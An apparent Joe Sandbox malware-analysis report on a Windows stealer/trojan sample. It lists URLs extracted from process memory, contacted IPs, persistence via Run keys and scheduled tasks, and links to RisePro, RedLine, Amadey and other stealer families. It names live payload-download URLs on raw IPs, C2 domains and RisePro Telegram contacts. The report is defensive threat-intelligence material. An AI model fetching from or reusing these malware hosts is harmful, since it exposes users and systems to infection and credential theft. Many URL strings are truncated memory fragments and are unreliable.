https://www.maxmind.com/en/locate-my-ip-address	d361f35322.exe	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/5	d361f35322.exe, 00000009.00000002.3073575028.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtube.comYSC/)?	d361f35322.exe, 00000009.00000003.2912110551.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORTxR	d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://junglethomas.com/	NewB.exe, 00000023.00000003.2221273909.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/81.181.54.104Uz	d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.104XNN	RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io:443/widget/demo/81.181.54.104	d361f35322.exe, 00000009.00000002.3073575028.0000000001449000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.000000000102A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.47.102:57893/hera/amadka.exe	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.47.102:57893/hera/amadka.exer.dbl	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/accountYouTube	MPGPH131.exe, 0000001B.00000003.3206207533.0000000008124000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/cost/go.exehCorel.ba	MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://affordcharmcropwo.shop/apitemb	RegAsm.exe, 0000001D.00000002.2274630744.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/81.181.54.104T	d361f35322.exe, 00000009.00000002.3073575028.0000000001449000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.000000000102A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_botP	MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/cost/go.exe	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/i	RageMP131.exe, 0000002E.00000002.2637513543.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/_	MPGPH131.exe, 0000001B.00000002.3350736971.0000000001417000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtube.comVISITOR_PRIVACY_METADATA/(9	d361f35322.exe, 00000009.00000003.2912110551.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://193.233.132.56/cost/lenin.exew.s	MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.56/cost/lenin.exea.exe68.0l	d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com:443/demo/home.php?s=81.181.54.104r	d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/cost/go.exemadka.ex	MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT8	d361f35322.exe, 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtube.comYSCv10	MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000003.2232787568.00000000220DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000001E.00000002.2315360912.000001D42EE5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORT3	MPGPH131.exe, 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp	false		high
https://accounts.googl	d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%	d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 0000001E.00000002.2095956248.000001D420547000.00000004.00000800.00020000.00000000.sdmp	false		high
https://affordcharmcropwo.shop:443/apiNAME=userUSERPROFILE=C:	RegAsm.exe, 0000001D.00000002.2226894863.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT&	d361f35322.exe, 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/Mozilla/5.0	d361f35322.exe, 00000009.00000002.3073575028.0000000001449000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.000000000101B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtube.comVISITOR_INFO1_LIVEv10%	MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000003.2232787568.00000000220DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://ac.ecosia.org/autocomplete?q=	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_bot	RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_botl	d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762501264.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822644005.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758475716.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819365667.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759415774.000000000143F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://affordcharmcropwo.shop/api	RegAsm.exe, 0000001D.00000002.2274630744.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2226894863.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/risepro_bote	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.47.102:57893/hera/amadka.exe.lv	MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.233.132.139	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
185.172.128.90	unknown	Russian Federation	50916	NADYMSS-ASRU	false
34.117.186.192	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.67	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
193.233.132.175	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.26.5.15	unknown	United States	13335	CLOUDFLARENETUS	false
176.97.76.106	unknown	United Kingdom	43658	INTRAFFIC-ASUA	false
193.233.132.56	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
142.251.2.84	unknown	United States	15169	GOOGLEUS	false
193.233.132.234	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
185.172.128.150	unknown	Russian Federation	50916	NADYMSS-ASRU	true
185.172.128.59	unknown	Russian Federation	50916	NADYMSS-ASRU	false
142.250.68.68	unknown	United States	15169	GOOGLEUS	false
104.21.60.76	unknown	United States	13335	CLOUDFLARENETUS	false
8.8.8.8	unknown	United States	15169	GOOGLEUS	false
147.45.47.93	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.21.67.211	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.90.14	unknown	United States	13335	CLOUDFLARENETUS	false
77.221.151.47	unknown	Russian Federation	30968	INFOBOX-ASInfoboxruAutonomousSystemRU	false
189.195.132.134	unknown	Mexico	13999	MegaCableSAdeCVMX	false
172.67.169.89	unknown	United States	13335	CLOUDFLARENETUS	false
185.172.128.228	unknown	Russian Federation	50916	NADYMSS-ASRU	false
104.20.3.235	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.176.131	unknown	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
13.89.179.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.14.67	unknown	United States	15169	GOOGLEUS	false
104.21.84.71	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.18.166	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.44.147	unknown	Russian Federation	56577	ASRELINKRU	false
185.172.128.19	unknown	Russian Federation	50916	NADYMSS-ASRU	true
172.217.12.131	unknown	United States	15169	GOOGLEUS	false
104.21.92.190	unknown	United States	13335	CLOUDFLARENETUS	false
104.20.4.235	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.19.24	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.72.131	unknown	United States	15169	GOOGLEUS	false
142.250.189.14	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436254
Start date and time:	2024-05-04 05:51:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	1CMweaqlKp.exe renamed because original name is a hash value
Original Sample Name:	8a19d654cb37e4e51be045acaf097e74.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winEXE@133/199@0/39
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, WerFault.exe, SIHClient.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target 1CMweaqlKp.exe, PID 2912 because there are no executed function
Execution Graph export aborted for target amert.exe, PID 7928 because it is empty
Execution Graph export aborted for target explorta.exe, PID 8016 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
04:51:52	Task Scheduler	Run new task: explorta path: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
04:52:15	Task Scheduler	Run new task: explorha path: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
04:52:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d361f35322.exe C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
04:52:23	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
04:52:26	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
04:52:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
04:52:33	Task Scheduler	Run new task: NewB.exe path: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
04:52:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ac861238af.exe C:\Users\user\1000021002\ac861238af.exe
04:52:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d361f35322.exe C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
04:53:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
05:51:56	API Interceptor	1879x Sleep call for process: explorta.exe modified
05:52:19	API Interceptor	2744x Sleep call for process: explorha.exe modified
05:52:30	API Interceptor	46x Sleep call for process: RegAsm.exe modified
05:52:30	API Interceptor	1756x Sleep call for process: NewB.exe modified
05:52:30	API Interceptor	37x Sleep call for process: powershell.exe modified
05:52:46	API Interceptor	1753562x Sleep call for process: d361f35322.exe modified
05:53:00	API Interceptor	1x Sleep call for process: WerFault.exe modified
05:53:10	API Interceptor	38201454x Sleep call for process: MPGPH131.exe modified
05:53:15	API Interceptor	88x Sleep call for process: RageMP131.exe modified
05:53:21	API Interceptor	6x Sleep call for process: jok.exe modified
05:53:22	API Interceptor	164x Sleep call for process: rundll32.exe modified
05:54:58	API Interceptor	438x Sleep call for process: file300un.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.233.132.139	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	193.233.132.139/rumba/buben.exe
	WlCIinu0yp.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, Socks5Systemz, Vidar, zgRAT	Browse	193.233.132.139/padla/fiona.exe
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	193.233.132.139/padla/fiona.exe
	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	193.233.132.139/silno/download.php
185.172.128.90	JlvRdFpwOD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=one&s=ab&sub=2838
	t8rEZVhm8F.exe	Get hash	malicious	PureLog Stealer, RedLine, SectopRAT, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
	LpCkcXmzD1.exe	Get hash	malicious	PureLog Stealer, RedLine, SectopRAT, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
